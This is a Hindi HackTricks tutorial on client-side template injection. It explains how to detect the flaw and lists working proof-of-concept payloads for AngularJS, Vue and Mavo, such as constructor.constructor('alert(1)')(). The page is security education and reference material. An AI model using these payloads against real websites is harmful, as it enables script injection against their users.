AWS हैकिंग सीखें शून्य से लेकर हीरो तकhtARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
# सारांश
यह [**Server Side Template Injection**](ssti-server-side-template-injection/) की तरह है लेकिन **क्लाइंट** में। **SSTI** आपको दूरस्थ सर्वर पर **कोड निष्पादित** करने की अनुमति दे सकता है, **CSTI** आपको पीड़ित में **मनमाना JavaScript कोड निष्पादित** करने की अनुमति दे सकता है।
इस कमजोरी के लिए **परीक्षण** करने का तरीका **SSTI** के मामले में बहुत **समान** है, इंटरप्रेटर **डबल कीज़ के बीच** कुछ निष्पादित करने की उम्मीद करेगा और इसे निष्पादित करेगा। उदाहरण के लिए कुछ इस तरह का उपयोग करना: `{{ 7-7 }}` यदि सर्वर **कमजोर** है तो आप `0` देखेंगे और यदि नहीं तो आप मूल: `{{ 7-7 }}` देखेंगे।
# AngularJS
AngularJS एक लोकप्रिय JavaScript लाइब्रेरी है, जो **`ng-app`** विशेषता वाले HTML नोड्स की सामग्री को स्कैन करती है (जिसे AngularJS डायरेक्टिव भी कहा जाता है)। जब HTML कोड में एक डायरेक्टिव जोड़ा जाता है, **आप डबल कर्ली ब्रेसेज़ के भीतर JavaScript एक्सप्रेशन्स को निष्पादित कर सकते हैं**।\
उदाहरण के लिए, यदि आपका **इनपुट** HTML के **बॉडी** के अंदर **प्रतिबिंबित** हो रहा है और बॉडी को `ng-app` के साथ परिभाषित किया गया है: **``**
आप **बॉडी** में **जोड़कर** कर्ली ब्रेसेज़ का उपयोग करके **मनमाना JavaScript कोड निष्पादित** कर सकते हैं:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
```
आप **AngularJS** में इस कमजोरी का एक **बहुत ही साधारण ऑनलाइन उदाहरण** यहाँ पा सकते हैं: [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)
{% hint style="danger" %}
[**Angular 1.6 ने सैंडबॉक्स को हटा दिया है**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) इसलिए इस संस्करण से `{{constructor.constructor('alert(1)')()}}` या `` जैसे पेलोड काम करना चाहिए।
{% endhint %}
# VueJS
आप **vulnerable vue.js** कार्यान्वयन यहाँ पा सकते हैं: [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
काम करने वाला पेलोड: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
और इस कमजोर उदाहरण का **स्रोत कोड** यहाँ है: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
">
aaa
```
व्यू में CSTI पर एक बहुत अच्छा लेख [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पर पाया जा सकता है।
## **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
**अधिक VUE payloads की जाँच करें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
# Mavo
Payload:
```
[7*7]
[(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
test
lolxself.alert('lol')lolx
test
[self.alert(1)mod1]
```
**अधिक payloads के लिए** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
# **Brute-Force Detection List**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
AWS hacking सीखें शुरुआत से लेकर एक्सपर्ट तकhtARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी hacking tricks साझा करें.